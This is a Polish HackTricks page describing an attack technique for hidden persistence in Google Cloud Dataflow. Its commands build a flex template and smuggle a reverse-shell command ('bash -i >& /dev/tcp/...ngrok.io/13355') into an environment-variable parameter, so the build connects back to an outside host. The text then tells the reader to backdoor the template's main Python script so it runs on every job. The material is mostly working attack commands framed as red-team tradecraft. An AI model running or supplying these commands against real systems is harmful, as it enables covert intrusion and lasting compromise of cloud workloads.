GCP - Dataflow Persistence

Tip

Ucz się & ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się & ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się & ćwicz Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Wspieraj HackTricks

Dataflow

Niewidoczna persystencja w zbudowanym kontenerze

Postępując zgodnie z tutorial from the documentation możesz utworzyć nowy (np. python) flex template:

Create Dataflow flex template with backdoor ```bash git clone https://github.com/GoogleCloudPlatform/python-docs-samples.git cd python-docs-samples/dataflow/flex-templates/getting_started

Create repository where dockerfiles and code is going to be stored

export REPOSITORY=flex-example-python gcloud storage buckets create gs://$REPOSITORY

Create artifact storage

export NAME_ARTIFACT=flex-example-python gcloud artifacts repositories create $NAME_ARTIFACT
–repository-format=docker
–location=us-central1 gcloud auth configure-docker us-central1-docker.pkg.dev

Create template

export NAME_TEMPLATE=flex-template gcloud dataflow $NAME_TEMPLATE build gs://$REPOSITORY/getting_started-py.json
–image-gcr-path “us-central1-docker.pkg.dev/gcp-labs-35jfenjy/$NAME_ARTIFACT/getting-started-python:latest”
–sdk-language “PYTHON”
–flex-template-base-image “PYTHON3”
–metadata-file “metadata.json”
–py-path “.”
–env “FLEX_TEMPLATE_PYTHON_PY_FILE=getting_started.py”
–env “FLEX_TEMPLATE_PYTHON_REQUIREMENTS_FILE=requirements.txt”
–env “PYTHONWARNINGS=all:0:antigravity.x:0:0”
–env “/bin/bash -c ‘bash -i >& /dev/tcp/0.tcp.eu.ngrok.io/13355 0>&1’ & #%s”
–region=us-central1

</details>

**W trakcie budowania otrzymasz reverse shell** (możesz wykorzystać env variables jak w poprzednim przykładzie lub inne parametry, które powodują, że Docker file wykona dowolne polecenia). W tym momencie, wewnątrz reverse shell, można **przejść do katalogu `/template` i zmodyfikować kod głównego skryptu Pythona, który zostanie wykonany (w naszym przykładzie jest to `getting_started.py`)**. Umieść tu swój backdoor, aby za każdym razem gdy job zostanie wykonany, był on uruchamiany.

Następnie, przy następnym uruchomieniu joba, zostanie uruchomiony zbudowany skompromitowany kontener:

<details>

<summary>Uruchom szablon Dataflow</summary>
```bash
# Run template
gcloud dataflow $NAME_TEMPLATE run testing \
--template-file-gcs-location="gs://$NAME_ARTIFACT/getting_started-py.json" \
--parameters=output="gs://$REPOSITORY/out" \
--region=us-central1

Tip

Ucz się & ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się & ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się & ćwicz Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Wspieraj HackTricks